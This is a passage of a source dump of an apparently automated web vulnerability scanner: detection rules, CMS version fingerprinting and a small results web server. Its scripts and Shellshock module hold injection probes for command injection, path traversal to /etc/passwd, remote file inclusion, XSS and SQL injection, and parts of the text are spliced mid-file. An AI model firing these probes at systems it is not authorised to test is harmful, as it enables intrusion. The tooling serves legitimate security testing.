├── __init__.py
├── core
├── __init__.py
├── response.py
├── scope.py
├── webapps.py
├── scanner.py
├── request.py
├── database.py
├── utils.py
├── login.py
├── modules.py
├── engine.py
├── scripts.py
└── postback_crawler.py
├── ext
├── __init__.py
├── libcms
│ ├── __init__.py
│ ├── scanners
│ │ ├── __init__.py
│ │ ├── joomla.py
│ │ ├── drupal.py
│ │ ├── cms_scanner.py
│ │ └── wordpress.py
│ ├── cms_scanner_core.py
│ └── detector.py
├── mefjus
│ ├── __init__.py
│ └── ghost.py
└── metamonster
│ ├── __init__.py
│ ├── detector.py
│ ├── rpcclient.py
│ ├── meta_executor.py
│ └── metamonster.py
├── webapp
├── __init__.py
├── databases
│ ├── concrete5_vulns.json
│ ├── modx_revolution_vulns.json
│ ├── process.py
│ └── update.py
├── cmsmadesimple.py
├── subrion.py
├── textpattern.py
├── concrete5.py
├── magento.py
├── typo3.py
├── modx.py
├── php.py
├── base_app.py
├── phpmyadmin.py
└── tomcat.py
├── modules
├── __init__.py
├── module_base.py
├── module_sitemap.py
├── module_robots.py
├── module_shellshock.py
├── module_backup_files.py
├── module_stored_xss.py
├── module_uploads.py
├── module_sqli_timebased.py
└── module_sqli_booleanbased.py
├── drivers
└── chromedriver.exe
├── requirements.txt
├── scripts
├── server_header_exposure.json
├── server_powered_by_discovery.json
├── source_code_disclosure_asp.json
├── source_code_disclosure_php.json
├── htaccess.json
├── htpasswd.json
├── git_repo.json
├── webconfig.json
├── composer.json
├── admin_portal.json
├── cgi-bin.json
├── tag_xss.json
├── file_inclusion_abs.json
├── admin_directory_discovery.json
├── command_injection.json
├── file_inclusion.json
├── wp-admin.json
├── remote_file_inclusion.json
├── file_inclusion_nullbyte.json
├── attrib_xss.json
├── php_application_error.json
└── sql_injection.json
├── web
├── webserver.py
└── public
│ └── index.html
├── .gitignore
└── README.md
/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/core/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/ext/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/webapp/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/ext/libcms/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/ext/mefjus/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/modules/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/ext/metamonster/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/ext/libcms/scanners/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/drivers/chromedriver.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/product/Helios/master/drivers/chromedriver.exe
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | beautifulsoup4
2 | futures
3 | requests
4 | selenium
5 | pyOpenSSL
6 | filelock
7 | msgpack
--------------------------------------------------------------------------------
/scripts/server_header_exposure.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Server header exposure",
3 | "run_at": "response",
4 | "find": "once",
5 | "severity": 1,
6 | "options": ["passive"],
7 | "request": null,
8 | "matches": [
9 | {
10 | "type": "exists",
11 | "location": "headers",
12 | "match": "server",
13 | "options": [
14 | "ignore_case"
15 | ]
16 | }
17 | ]
18 | }
--------------------------------------------------------------------------------
/scripts/server_powered_by_discovery.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Server Backend System exposure",
3 | "run_at": "response",
4 | "find": "once",
5 | "severity": 1,
6 | "options": ["passive"],
7 | "request": null,
8 | "matches": [
9 | {
10 | "type": "exists",
11 | "location": "headers",
12 | "match": "x-powered-by",
13 | "options": [
14 | "ignore_case"
15 | ]
16 | }
17 | ]
18 | }
--------------------------------------------------------------------------------
/scripts/source_code_disclosure_asp.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Source Code Disclosure (ASP)",
3 | "run_at": "response",
4 | "find": "many",
5 | "severity": 3,
6 | "options": ["passive"],
7 | "request": null,
8 | "matches": [
9 | {
10 | "type": "regex",
11 | "location": "body",
12 | "match": "(?s)(<%.+?%>)",
13 | "options": [
14 | "ignore_case",
15 | "strip_newlines"
16 | ]
17 | }
18 | ]
19 | }
--------------------------------------------------------------------------------
/scripts/source_code_disclosure_php.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Source Code Disclosure (PHP)",
3 | "run_at": "response",
4 | "find": "many",
5 | "severity": 3,
6 | "options": ["passive"],
7 | "request": null,
8 | "matches": [
9 | {
10 | "type": "regex",
11 | "location": "body",
12 | "match": "(?s)(<\\?php.+?\\?>)",
13 | "options": [
14 | "ignore_case",
15 | "strip_newlines"
16 | ]
17 | }
18 | ]
19 | }
--------------------------------------------------------------------------------
/scripts/htaccess.json:
--------------------------------------------------------------------------------
1 | {
2 | "name":".htaccess discovery",
3 | "run_at":"fs",
4 | "find":"once",
5 | "severity": 2,
6 | "options": ["discovery"],
7 | "request":null,
8 | "data":{
9 | "url":".htaccess"
10 | },
11 | "matches":[
12 | {
13 | "type":"equals",
14 | "location":"status_code",
15 | "match":"200",
16 | "name":".htaccess match code 200",
17 | "options":[
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/scripts/htpasswd.json:
--------------------------------------------------------------------------------
1 | {
2 | "name":".htpasswd discovery",
3 | "run_at":"fs",
4 | "find":"once",
5 | "severity": 2,
6 | "options": ["discovery"],
7 | "request":null,
8 | "data":{
9 | "url":".htpasswd"
10 | },
11 | "matches":[
12 | {
13 | "type":"equals",
14 | "location":"status_code",
15 | "match":"200",
16 | "name":".htpasswd match code 200",
17 | "options":[
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/scripts/git_repo.json:
--------------------------------------------------------------------------------
1 | {
2 | "name":"GIT repository found",
3 | "run_at":"fs",
4 | "find":"once",
5 | "severity": 3,
6 | "options": ["discovery"],
7 | "request":null,
8 | "data":{
9 | "url":".git/index"
10 | },
11 | "matches":[
12 | {
13 | "type":"equals",
14 | "location":"status_code",
15 | "match":"200",
16 | "name":".git/index match code 200",
17 | "options":[
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/scripts/webconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "name":"web.config discovery",
3 | "run_at":"fs",
4 | "find":"once",
5 | "severity": 3,
6 | "options": ["discovery"],
7 | "request":null,
8 | "data":{
9 | "url":"web.config"
10 | },
11 | "matches":[
12 | {
13 | "type":"equals",
14 | "location":"status_code",
15 | "match":"200",
16 | "name":"web.config match code 200",
17 | "options":[
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/scripts/composer.json:
--------------------------------------------------------------------------------
1 | {
2 | "name":"composer.json discovery",
3 | "run_at":"fs",
4 | "find":"once",
5 | "severity": 2,
6 | "options": ["discovery"],
7 | "request":null,
8 | "data":{
9 | "url":"composer.json"
10 | },
11 | "matches":[
12 | {
13 | "type":"equals",
14 | "location":"status_code",
15 | "match":"200",
16 | "name":"composer.json match code 200",
17 | "options":[
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/scripts/admin_portal.json:
--------------------------------------------------------------------------------
1 | {
2 | "name":"Admin Login Page",
3 | "run_at":"fs",
4 | "find":"once",
5 | "severity": 0,
6 | "options": ["discovery"],
7 | "request":null,
8 | "data":{
9 | "url":"administrator\/"
10 | },
11 | "matches":[
12 | {
13 | "type":"regex",
14 | "location":"body",
15 | "match":"(?s)admin.+?login",
16 | "name":"Administrative Login Portal found",
17 | "options":[
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/scripts/cgi-bin.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "CGI-bin directory found",
3 | "run_at": "fs",
4 | "find": "once",
5 | "severity": 0,
6 | "options": ["discovery"],
7 | "data": {
8 | "url": "cgi-bin/",
9 | "options": [
10 | "rootdir"
11 | ]
12 | },
13 | "request": null,
14 | "matches": [
15 | {
16 | "type": "regex",
17 | "location": "body",
18 | "match": ".+?",
19 | "name": "CGI-bin Directory found",
20 | "options": [
21 | "ignore_case"
22 | ]
23 | }
24 | ]
25 | }
--------------------------------------------------------------------------------
/scripts/tag_xss.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Cross-Site Scripting (XSS)",
3 | "run_at": "request",
4 | "find": "many",
5 | "severity": 3,
6 | "request": ["parameters", "cookies"],
7 | "options": ["injection", "dangerous"],
8 | "data": {
9 | "inject_value": ""
10 | },
11 | "matches": [
12 | {
13 | "type": "regex",
14 | "location": "body",
15 | "match": "",
16 | "name": "Reflected HTML in body",
17 | "options": [
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/scripts/file_inclusion_abs.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Local File Inclusion (Absolute Path)",
3 | "run_at": "request",
4 | "find": "many",
5 | "severity": 3,
6 | "options": ["injection"],
7 | "request": ["parameters", "cookies"],
8 | "data": {
9 | "inject_value": "/etc/passwd"
10 | },
11 | "matches": [
12 | {
13 | "type": "contains",
14 | "location": "body",
15 | "match": "0:0:root",
16 | "name": "/etc/passwd disclosure",
17 | "options": [
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/scripts/admin_directory_discovery.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Admin directory found",
3 | "run_at": "fs",
4 | "find": "once",
5 | "severity": 0,
6 | "options": ["discovery"],
7 | "data": {
8 | "url": "admin/",
9 | "options": [
10 | "rootdir"
11 | ]
12 | },
13 | "request": null,
14 | "matches": [
15 | {
16 | "type": "equals",
17 | "location": "status_code",
18 | "match": "200",
19 | "name": "Admin directory found",
20 | "options": [
21 | "ignore_case"
22 | ]
23 | }
24 | ]
25 | }
--------------------------------------------------------------------------------
/scripts/command_injection.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Command Injection (Unix)",
3 | "run_at": "request",
4 | "find": "many",
5 | "severity": 3,
6 | "options": ["injection"],
7 | "request": ["parameters", "cookies"],
8 | "data": {
9 | "inject_value": "{value};id"
10 | },
11 | "matches": [
12 | {
13 | "type": "regex",
14 | "location": "body",
15 | "match": "(uid=\\d+.+?groups=\\d+.+)[<\\s]?",
16 | "name": "ID command output match",
17 | "options": [
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/scripts/file_inclusion.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Local File Inclusion",
3 | "run_at": "request",
4 | "find": "many",
5 | "severity": 3,
6 | "options": ["injection"],
7 | "request": ["parameters", "cookies"],
8 | "data": {
9 | "inject_value": "../../../../../../../../../../../etc/passwd"
10 | },
11 | "matches": [
12 | {
13 | "type": "contains",
14 | "location": "body",
15 | "match": "0:0:root",
16 | "name": "/etc/passwd disclosure",
17 | "options": [
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/scripts/wp-admin.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "WP-Admin login portal",
3 | "run_at": "fs",
4 | "options": ["discovery"],
5 | "find": "once",
6 | "severity": 0,
7 | "data": {
8 | "url": "wp-login.php",
9 | "options": [
10 | "rootdir"
11 | ]
12 | },
13 | "request": null,
14 | "matches": [
15 | {
16 | "type": "regex",
17 | "location": "body",
18 | "match": "wordpress.+?login",
19 | "name": "WordPress Login portal found",
20 | "options": [
21 | "ignore_case"
22 | ]
23 | }
24 | ]
25 | }
--------------------------------------------------------------------------------
/scripts/remote_file_inclusion.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Remote File Inclusion (Reflected)",
3 | "run_at": "request",
4 | "find": "many",
5 | "severity": 3,
6 | "options": ["injection"],
7 | "request": ["parameters", "cookies"],
8 | "data": {
9 | "inject_value": "https://api.myip.com/"
10 | },
11 | "matches": [
12 | {
13 | "type": "regex",
14 | "location": "body",
15 | "match": "\"ip\":.+?\"country\"",
16 | "name": "Third-Party request data in body",
17 | "options": [
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/scripts/file_inclusion_nullbyte.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Local File Inclusion (Null Byte)",
3 | "run_at": "request",
4 | "find": "many",
5 | "severity": 3,
6 | "options": ["injection"],
7 | "request": ["parameters", "cookies"],
8 | "data": {
9 | "inject_value": "../../../../../../../../../../../etc/passwd{null}"
10 | },
11 | "matches": [
12 | {
13 | "type": "contains",
14 | "location": "body",
15 | "match": "0:0:root",
16 | "name": "/etc/password disclosure",
17 | "options": [
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/scripts/attrib_xss.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Cross-Site Scripting (XSS)",
3 | "run_at": "request",
4 | "find": "many",
5 | "severity": 3,
6 | "options": ["injection", "dangerous"],
7 | "request": ["parameters", "cookies"],
8 | "data": {
9 | "inject_value": "\" onmouseover=\"xss()\" bad=\""
10 | },
11 | "matches": [
12 | {
13 | "type": "regex",
14 | "location": "body",
15 | "match": "\\=\"[^\"]*\" onmouseover\\=\"xss\\(\\)\"",
16 | "name": "Reflected HTML in tag attribute",
17 | "options": [
18 | "ignore_case"
19 | ]
20 | }
21 | ]
22 | }
--------------------------------------------------------------------------------
/webapp/databases/concrete5_vulns.json:
--------------------------------------------------------------------------------
1 | {"Concrete5": {"CVE-2017-7725": ["5.8.1.0"], "CVE-2012-5181": ["5.5.0", "5.5.1", "5.5.2", "5.5.2.1", "5.6.0", "5.6.0.1", "5.6.0.2"], "CVE-2018-19146": ["8.4.3"], "CVE-2015-4721": ["5.7.3.1"], "CVE-2014-5108": ["5.4.2", "5.4.2.1", "5.4.2.2", "5.5.0", "5.5.1", "5.5.2", "5.5.2.1", "5.6.0", "5.6.0.1", "5.6.0.2", "5.6.1", "5.6.1.1", "5.6.1.2", "5.6.2", "5.6.2.1"], "CVE-2015-4724": ["5.7.3.1"], "CVE-2014-5107": ["5.4.2", "5.4.2.1", "5.4.2.2", "5.5.0", "5.5.1", "5.5.2", "5.5.2.1", "5.6.0", "5.6.0.1", "5.6.0.2", "5.6.1", "5.6.1.1", "5.6.1.2", "5.6.2", "5.6.2.1"], "CVE-2017-6908": ["5.6.3.3"], "CVE-2017-8082": ["8.1.0"], "CVE-2017-18195": ["8.2.1"], "CVE-2015-3989": ["5.7.3.1"], "CVE-2015-2250": ["5.7.3.1"], "CVE-2018-13790": ["5.8.2.0"], "CVE-2014-9526": ["5.7.2", "5.7.2.1"], "CVE-2017-6905": ["5.6.3.4"]}}
--------------------------------------------------------------------------------
/scripts/php_application_error.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Application Error (PHP)",
3 | "run_at": "response",
4 | "find": "many",
5 | "severity": 2,
6 | "options": ["passive"],
7 | "request": null,
8 | "matches": [
9 | {
10 | "type": "regex",
11 | "location": "body",
12 | "match": "(notice:.+?on line \\d+)",
13 | "options": [
14 | "ignore_case"
15 | ]
16 | },
17 | {
18 | "type": "regex",
19 | "location": "body",
20 | "match": "(warning:.+?on line \\d+)",
21 | "options": [
22 | "ignore_case"
23 | ]
24 | },
25 | {
26 | "type": "regex",
27 | "location": "body",
28 | "match": "(error:.+?on line \\d+)",
29 | "options": [
30 | "ignore_case"
31 | ]
32 | }
33 | ]
34 | }
--------------------------------------------------------------------------------
/scripts/sql_injection.json:
--------------------------------------------------------------------------------
1 | {
2 | "name":"SQL Injection",
3 | "run_at":"request",
4 | "find":"many",
5 | "severity": 3,
6 | "options": ["injection"],
7 | "request":[
8 | "parameters",
9 | "cookies"
10 | ],
11 | "data":{
12 | "inject_value":"{value}'"
13 | },
14 | "matches":[
15 | {
16 | "type":"regex",
17 | "location":"body",
18 | "match":"error.+?sql",
19 | "name":"SQL Error in response",
20 | "options":[
21 | "ignore_case"
22 | ]
23 | },
24 | {
25 | "type":"regex",
26 | "location":"body",
27 | "match":"sql.+?error",
28 | "name":"SQL Error in response",
29 | "options":[
30 | "ignore_case"
31 | ]
32 | },
33 | {
34 | "type":"regex",
35 | "location":"body",
36 | "match":"(warning.+?sql.+?)
1:
44 | out[parts[0]] = parts[1]
45 | else:
46 | out[parts[0]] = ""
47 | return base, out
48 |
49 | def params_to_url(self, base, params):
50 | out = []
51 | for key in params:
52 | out.append("%s=%s" % (quote_plus(key), quote_plus(params[key])))
53 | return base + "?" +"&".join(out)
54 |
--------------------------------------------------------------------------------
/web/webserver.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, g, jsonify, send_from_directory
2 | import sqlite3
3 | import os
4 |
5 | DATABASE = "../helios.db"
6 |
7 | # Create app
8 | app = Flask(__name__, static_folder=os.path.join("public", "static"))
9 | app.config['DEBUG'] = True
10 | app.config['SECRET_KEY'] = 'super-secret'
11 |
12 |
13 | def get_db():
14 | db = getattr(g, '_database', None)
15 | if db is None:
16 | db = g._database = sqlite3.connect(DATABASE)
17 | db.row_factory = sqlite3.Row
18 | return db
19 |
20 |
21 | # helper to close
22 | @app.teardown_appcontext
23 | def close_connection(exception):
24 | db = getattr(g, '_database', None)
25 | if db is not None:
26 | db.close()
27 |
28 |
29 | @app.route("/scans")
30 | def projects():
31 | cur = get_db().cursor()
32 | res = cur.execute("select * from scans order by started DESC")
33 | return jsonify([dict(ix) for ix in cur.fetchall()])
34 |
35 |
36 | @app.route("/results/")
37 | def results(scan):
38 | cur = get_db().cursor()
39 | res = cur.execute("select * from results where scan = ? order by detected DESC", (str(scan),))
40 | return jsonify([dict(ix) for ix in cur.fetchall()])
41 |
42 |
43 | @app.route("/")
44 | def index():
45 | urlpath = os.path.join(os.path.dirname(__file__), "public")
46 | return send_from_directory(urlpath, "index.html")
47 |
48 |
49 | if __name__ == "__main__":
50 | app.run()
51 |
--------------------------------------------------------------------------------
/ext/metamonster/detector.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 |
4 | class PassiveDetector:
5 | url = None
6 | linux_types = ['debian', 'ubuntu', 'centos', 'fedora', 'red hat']
7 |
8 | def __init__(self, url):
9 | self.url = url
10 |
11 | def get_page(self):
12 | result = requests.get(self.url, verify=False)
13 | return result
14 |
15 | def detect(self, result):
16 | tech = []
17 | os = None
18 | if 'wp-content' in result.text:
19 | tech.append('wordpress')
20 | tech.append('php')
21 |
22 | if 'content="drupa' in result.text.lower():
23 | tech.append('drupal')
24 | tech.append('php')
25 |
26 | if 'Server' in result.headers:
27 | for linux_type in self.linux_types:
28 | if linux_type in result.headers['Server'].lower():
29 | os = "linux"
30 |
31 | if 'apache' in result.headers['Server'].lower():
32 | tech.append('apache')
33 | if 'win' in result.headers['Server'].lower():
34 | os = "windows"
35 |
36 | if 'iis' in result.headers['Server'].lower():
37 | tech.append('iis')
38 | os = "windows"
39 |
40 | if 'nginx' in result.headers['Server'].lower():
41 | tech.append('nginx')
42 |
43 | if 'tomcat' in result.headers['Server'].lower():
44 | tech.append('tomcat')
45 |
46 | if 'jboss' in result.headers['Server'].lower():
47 | tech.append('jboss')
48 | return os, tech
49 |
50 |
--------------------------------------------------------------------------------
/webapp/cmsmadesimple.py:
--------------------------------------------------------------------------------
1 | from webapp import base_app
2 | import re
3 | from core.utils import requests_response_to_dict
4 | import json
5 | import logging
6 | import requests
7 | try:
8 | from urlparse import urljoin
9 | except ImportError:
10 | from urllib.parse import urljoin
11 |
12 |
13 | # This script detects vulnerabilities in the following PHP based products:
14 | # - CMS Made Simple
15 | class Scanner(base_app.BaseAPP):
16 |
17 | def __init__(self):
18 | self.name = "CMS Made Simple"
19 | self.types = []
20 |
21 | def detect(self, url):
22 | directories = ['', 'blog']
23 | for d in directories:
24 | path = urljoin(url, d)
25 | response = self.send(path)
26 | if response and response.status_code == 200 and \
27 | ("cmsmadesimple.org" in response.text or 'index.php?page=' in response.text):
28 | self.app_url = path
29 | return True
30 | return False
31 |
32 | def test(self, url):
33 | root_page = self.send(url)
34 | version = None
35 | if root_page:
36 | get_version = re.search(r'CMS Made Simple version ([\d\.]+)', root_page.text, re.IGNORECASE)
37 | if get_version:
38 | version = get_version.group(1)
39 | self.logger.info("%s version %s was identified from the footer tag" % (self.name, version))
40 |
41 | if version:
42 | db = self.get_db("cmsmadesimple_vulns.json")
43 | data = json.loads(db)
44 | vulns = data['CmsMadeSimple']
45 | self.match_versions(vulns, version, url)
46 |
--------------------------------------------------------------------------------
/webapp/subrion.py:
--------------------------------------------------------------------------------
1 | from webapp import base_app
2 | import re
3 | from core.utils import requests_response_to_dict
4 | import json
5 | import logging
6 | import requests
7 | try:
8 | from urlparse import urljoin
9 | except ImportError:
10 | from urllib.parse import urljoin
11 |
12 |
13 | # This script detects vulnerabilities in the following PHP based products:
14 | # - Subrion
15 | class Scanner(base_app.BaseAPP):
16 |
17 | def __init__(self):
18 | self.name = "Subrion"
19 | self.types = []
20 |
21 | def detect(self, url):
22 | directories = ['', '_core', 'blog', 'subrion']
23 | for d in directories:
24 | path = urljoin(url, d)
25 | response = self.send(path)
26 | if response and response.status_code == 200 and \
27 | ("Subrion" in response.text or 'jquery.js?fm=' in response.text):
28 | self.app_url = path
29 | return True
30 | return False
31 |
32 | def test(self, url):
33 | cl_url = urljoin(url, "changelog.txt")
34 | cl_data = self.send(cl_url)
35 | version = None
36 | if cl_data:
37 | get_version = re.findall(r'From\s[\d\.]+\sto\s([\d\.]+)', cl_data.text)
38 | if len(get_version):
39 | version = get_version[-1:][0]
40 | self.logger.info("%s version %s was identified from the changelog.txt file" % (self.name, version))
41 |
42 | if version:
43 | db = self.get_db("subrion_vulns.json")
44 | data = json.loads(db)
45 | subrion_vulns = data['Subrion']
46 | self.match_versions(subrion_vulns, version, url)
47 |
--------------------------------------------------------------------------------
/webapp/textpattern.py:
--------------------------------------------------------------------------------
1 | from webapp import base_app
2 | import re
3 | from core.utils import requests_response_to_dict
4 | import json
5 | import logging
6 | import requests
7 | try:
8 | from urlparse import urljoin
9 | except ImportError:
10 | from urllib.parse import urljoin
11 |
12 |
13 | # This script detects vulnerabilities in the following PHP based products:
14 | # - Textpattern
15 | class Scanner(base_app.BaseAPP):
16 |
17 | def __init__(self):
18 | self.name = "Textpattern"
19 | self.types = []
20 |
21 | def detect(self, url):
22 | directories = ['', 'blog', 'textpattern']
23 | for d in directories:
24 | path = urljoin(url, d)
25 | response = self.send(path)
26 | if response and response.status_code == 200 and \
27 | ("Textpattern" in response.text or '(.+?)', result.text):
27 | if "*" in entry:
28 | # we do not want dem wildcard
29 | continue
30 | newurl = urlparse.urljoin(url, entry).strip()
31 | newurl = newurl.replace('$', '')
32 | if newurl == url:
33 | continue
34 | if newurl not in output and self.scope.in_scope(newurl):
35 | output.append(newurl)
36 | return output
37 |
38 | def send(self, url, params, data):
39 | result = None
40 | headers = self.headers
41 | cookies = self.cookies
42 | try:
43 | if data:
44 | result = requests.post(url, params=params, data=data, headers=headers, cookies=cookies)
45 | else:
46 | result = requests.get(url, params=params, headers=headers, cookies=cookies)
47 | except Exception as e:
48 | print(str(e))
49 | return result
50 |
--------------------------------------------------------------------------------
/webapp/magento.py:
--------------------------------------------------------------------------------
1 | from webapp import base_app
2 | import re
3 | from core.utils import requests_response_to_dict
4 | import json
5 | import logging
6 | import requests
7 | try:
8 | from urlparse import urljoin
9 | except ImportError:
10 | from urllib.parse import urljoin
11 |
12 |
13 | # This script detects vulnerabilities in the following PHP based products:
14 | # - Magento / Magento2
15 | class Scanner(base_app.BaseAPP):
16 |
17 | def __init__(self):
18 | self.name = "Magento"
19 | self.types = []
20 |
21 | def detect(self, url):
22 | directories = ['', 'magento', 'shop']
23 | for d in directories:
24 | path = urljoin(url, d)
25 | response = self.send(path)
26 | if response and response.status_code == 200 and "Magento" in response.text:
27 | self.app_url = path
28 | return True
29 | return False
30 |
31 | def test(self, url):
32 | mage_version = urljoin(url, 'magento_version')
33 | mage_page = self.send(mage_version)
34 | version = None
35 | if mage_page:
36 | # only (accurate) way to get installed version
37 | get_version = re.search(r'Magento/([\d\.]+)', mage_page.text, re.IGNORECASE)
38 | if get_version:
39 | version = get_version.group(1)
40 | # old versions of Enterprise are actually 2.0
41 | if version == "1.0" and "Enterprise" in mage_page.text:
42 | version = "2.0"
43 | self.logger.info("%s version %s was identified from the magento_version call" % (self.name, version))
44 |
45 | if version:
46 | db = self.get_db("magento_vulns.json")
47 | data = json.loads(db)
48 | vulns = data['Magento']
49 | self.match_versions(vulns, version, url)
50 |
--------------------------------------------------------------------------------
/modules/module_robots.py:
--------------------------------------------------------------------------------
1 | import re
2 | import requests
3 | try:
4 | from urllib import quote_plus
5 | import urlparse
6 | except ImportError:
7 | from urllib.parse import quote_plus
8 | import urllib.parse as urlparse
9 | import modules.module_base
10 |
11 |
12 | class Module(modules.module_base.Base):
13 |
14 | def __init__(self):
15 | self.name = "Robots.txt"
16 | self.injections = {}
17 | self.module_types = ['discovery']
18 | self.input = "base"
19 | self.output = "crawler"
20 |
21 | def run(self, url, data=None, headers=None, cookies=None):
22 | self.headers = headers
23 | self.cookies = cookies
24 | url = urlparse.urljoin(url, '/robots.txt')
25 | result = self.send(url, None, None)
26 | output = []
27 | if result:
28 | for entry in re.findall('(?:[Dd]is)?[Aa]llow:\s*(.+)', result.text):
29 | if "*" in entry:
30 | # we do not want dem wildcard
31 | continue
32 | newurl = urlparse.urljoin(url, entry).strip()
33 | newurl = newurl.replace('$', '')
34 | if newurl == url:
35 | continue
36 | if newurl not in output and self.scope.in_scope(newurl):
37 | output.append(newurl)
38 | return output
39 |
40 | def send(self, url, params, data):
41 | result = None
42 | headers = self.headers
43 | cookies = self.cookies
44 | try:
45 | if data:
46 | result = requests.post(url, params=params, data=data, headers=headers, cookies=cookies)
47 | else:
48 | result = requests.get(url, params=params, headers=headers, cookies=cookies)
49 | except Exception as e:
50 | print(str(e))
51 | return result
52 |
--------------------------------------------------------------------------------
/modules/module_shellshock.py:
--------------------------------------------------------------------------------
1 | import requests
2 | try:
3 | import urlparse
4 | except ImportError:
5 | import urllib.parse as urlparse
6 | import modules.module_base
7 | from core.utils import requests_response_to_dict
8 |
9 |
10 | class Module(modules.module_base.Base):
11 |
12 | def __init__(self):
13 | self.name = "Shellshock"
14 | self.input = "urls"
15 | self.injections = {}
16 | self.module_types = ['injection']
17 | self.possibilities = [
18 | '.cgi'
19 | ]
20 | self.output = "vulns"
21 | self.severity = 3
22 |
23 | def run(self, urls, headers={}, cookies={}):
24 | results = []
25 | list_urls = []
26 | self.cookies = cookies
27 | for u in urls:
28 | if u[0].split('?')[0] not in list_urls:
29 | list_urls.append(u[0].split('?')[0])
30 | for f in list_urls:
31 | for p in self.possibilities:
32 | if p in f:
33 | result = self.test(f)
34 | if result:
35 | results.append(result)
36 | return results
37 |
38 | def test(self, url):
39 | payload = {
40 | 'User-Agent': '() { ignored;};id ',
41 | 'Referer': '() { ignored;};id '
42 | }
43 | result = self.send(url, headers=payload)
44 | if result and 'gid=' in result.text and 'uid=' in result.text:
45 | result_obj = {'request': requests_response_to_dict(result), "match": "Command was executed on server"}
46 | return result_obj
47 | return None
48 |
49 | def send(self, url, headers={}):
50 | result = None
51 | cookies = self.cookies
52 | try:
53 | result = requests.get(url, headers=headers, cookies=cookies)
54 | except Exception as e:
55 | pass
56 | return result
57 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | *.egg-info/
24 | .installed.cfg
25 | *.egg
26 | MANIFEST
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 | # Unit test / coverage reports
39 | htmlcov/
40 | .tox/
41 | .coverage
42 | .coverage.*
43 | .cache
44 | nosetests.xml
45 | coverage.xml
46 | *.cover
47 | .hypothesis/
48 | .pytest_cache/
49 |
50 | # Translations
51 | *.mo
52 | *.pot
53 |
54 | # Django stuff:
55 | *.log
56 | local_settings.py
57 | db.sqlite3
58 |
59 | # Flask stuff:
60 | instance/
61 | .webassets-cache
62 |
63 | # Scrapy stuff:
64 | .scrapy
65 |
66 | # Sphinx documentation
67 | docs/_build/
68 |
69 | # PyBuilder
70 | target/
71 |
72 | # Jupyter Notebook
73 | .ipynb_checkpoints
74 |
75 | # pyenv
76 | .python-version
77 |
78 | # celery beat schedule file
79 | celerybeat-schedule
80 |
81 | # SageMath parsed files
82 | *.sage.py
83 |
84 | # Environments
85 | .env
86 | .venv
87 | env/
88 | venv/
89 | ENV/
90 | env.bak/
91 | venv.bak/
92 |
93 | # Spyder project settings
94 | .spyderproject
95 | .spyproject
96 |
97 | # Rope project settings
98 | .ropeproject
99 |
100 | # mkdocs documentation
101 | /site
102 |
103 | # mypy
104 | .mypy_cache/
105 |
106 | # custom dirs / files
107 | scan_results_*.json
108 | output.txt
109 | output.json
110 |
111 | data/**
112 | certs/**
113 | output.txt
114 |
115 | libcms/scanners/cache/**
116 | helios.db
117 |
--------------------------------------------------------------------------------
/core/scope.py:
